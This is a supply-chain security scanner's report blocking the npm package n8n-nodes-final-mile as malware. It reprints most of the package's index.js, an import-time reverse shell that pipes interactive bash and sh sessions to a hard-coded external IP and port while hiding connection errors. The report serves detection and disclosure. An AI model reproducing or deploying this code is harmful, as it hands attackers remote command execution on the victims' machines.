Loading npm security reports…

n8n-nodes-final-mile: Malicious npm security report (Block) | LPM Firewall

registry / n8n-nodes-final-mile / 1.0.0

n8n-nodes-final-mile@1.0.0

Final mile delivery nodes

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The main entrypoint creates outbound reverse shells at import time. It grants the remote endpoint interactive command execution under the importing process's privileges.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing or requiring the package entrypoint (`index.js`).

Impact

Remote command execution and potential host compromise.

Mechanism

Immediate reverse-shell process and socket piping.

Attack narrative

When the package main entrypoint is imported, `index.js` starts interactive Bash and sh processes, connects to the hard-coded IP and port, and pipes socket input into the shells while returning shell output and errors over the socket. This provides a remote operator an interactive shell without user consent.

Rationale

Source inspection confirms an import-time reverse shell to a hard-coded external endpoint. The benign node file and absence of lifecycle scripts do not mitigate the malicious package entrypoint.

Evidence

package.jsonindex.jsLastNode.js

Network endpoints1

103.27.109.184:8895

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` executes immediately on package import.
`index.js` spawns interactive `/bin/bash` and `/bin/sh`.
`index.js` pipes both shell streams to `103.27.109.184:8895`.
Errors are silently suppressed, concealing connection failures.

Evidence against

`package.json` declares no lifecycle scripts.
`LastNode.js` is an inert n8n transform node.

Behavioral surface

Source

ChildProcess

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.17 KB of source

Source & flagged code

3 flagged

index.jsView file

Lines 1-22javascript

1(function(){

2 var net = require('net');

3 var cp = require('child_process');

4 try {

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

5 var sh = cp.spawn('/bin/bash', ['-i']);

6 var c = new net.Socket();

7 c.connect(8895, '103.27.109.184', function(){

8 c.pipe(sh.stdin);

9 sh.stdout.pipe(c);

10 sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

11 });

12 c.on('error', function(){});

13 } catch(e) {}

14 try {

15 var sh2 = cp.spawn('/bin/sh', ['-i']);

16 var c2 = new net.Socket();

17 c2.connect(8895, '103.27.109.184', function(){

18 c2.pipe(sh2.stdin);

19 sh2.stdout.pipe(c2);

20 sh2.stderr.pipe(c2);

21 });

22 c2.on('error', function(){});

Source & flagged code

3 flagged · loading source

index.jsView file

1(function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: try { L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var c = new net.Socket(); ... L8: c.pipe(sh.stdin); L9: sh.stdout.pipe(c); L10: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: (function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: try { L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var c = new net.Socket(); ... L8: c.pipe(sh.stdin); L9: sh.stdout.pipe(c); L10: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

2var net = require('net'); L3: var cp = require('child_process'); L4: try {

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

Findings

2 Critical1 High

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js